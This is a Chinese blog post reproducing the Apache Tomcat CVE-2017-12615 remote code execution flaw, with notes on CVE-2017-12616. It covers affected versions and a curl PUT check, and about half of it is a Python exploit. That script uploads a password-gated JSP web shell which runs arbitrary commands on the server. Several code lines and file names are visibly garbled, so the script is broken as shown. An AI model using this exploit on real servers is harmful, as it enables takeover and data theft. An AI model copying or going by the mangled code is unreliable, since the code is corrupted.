CVE-2017-12615漏洞复现附EXP
CVE-2017-12615复现
0x00 漏洞介绍
漏洞编号:
CVE-2017-12615
CVE-2017-12616
漏洞名称:
CVE-2017-12615-远程代码执⾏漏洞
CVE-2017-12616-信息泄露漏洞
官⽅评级:
⾼危
漏洞描述:
CVE-2017-12616:信息泄露漏洞
当Tomcat中启⽤了 VirtualDirContext时,攻击者将能通过发送精⼼构造的恶意请求,绕过设置的相关安全限制,或是获取到由VirtualDirContext提供⽀持资源服务的JSP源代码,从⽽造成代码信息泄露。
CVE-2017-12615:远程代码执⾏漏洞
当 Tomcat运⾏在Windows操作系统时,且启⽤了HTTP PUT请求⽅法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精⼼构造的攻击请求数据包向服务器上传包含任意代码的 JSP ⽂件,JSP⽂件中的恶意代码将能被服务器执⾏。导致服务器上的数据泄露或获取服务器权限。
通过以上两个漏洞可在⽤户服务器上执⾏任意代码,从⽽导致数据泄露或获取服务器权限,存在⾼安全风险。
cve漏洞库漏洞利⽤条件和⽅式:
CVE-2017-12615漏洞利⽤需要在Windows环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x版本内l配置⽂件内默认配置⽆readonly参数,需要⼿⼯添加,默认配置条件下不受此漏洞影响。
CVE-2017-12616漏洞需要在l⽂件配置VirtualDirContext参数,经过实际测试,Tomcat 7.x版本内默认配置⽆VirtualDirContext参数,需要⼿⼯添加,默认配置条件下不受此漏洞影响。
漏洞影响范围:
CVE-2017-12616影响范围:Apache Tomcat 7.0.0 - 7.0.80
CVE-2017-12615影响范围: Apache Tomcat 7.0.0 - 7.0.79
0x01 环境搭建
使⽤docker搭建漏洞环境
0x02 漏洞验证
这⾥我直接搭建在本地80端⼝上,linux系统下使⽤curl直接验证漏洞。
执⾏命令
curl -XPUT 127.0.0.1/2.jsp/ --data "test"
漏洞验证脚本
import requests
import sys
import time
'''
Usage:
python CVE-2017-12615.py 127.0.0.1
shell: 127.0.0.1/201712615.jsp?pwd=fff&cmd=whoami
'''
def attack(url):
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" headers={"User-Agent":user_agent}
data="""<%
if("fff".Parameter("pwd"))){
java.io.InputStream in = Runtime().Parameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((ad(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>"""
try:
requests.put(url, headers=headers, data=data)
time.sleep(2)
verify_response = (url[:-1], headers=headers)
if verify_response.status_code == 200:
print 'success!'
else :
print verify_response.status_code
except :
"error"
if __name__ == '__main__':
target_url = sys.argv[1] + '/201712615.jsp/'
attack(target_url)
print 'shell: ' + target_url[:-1]
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论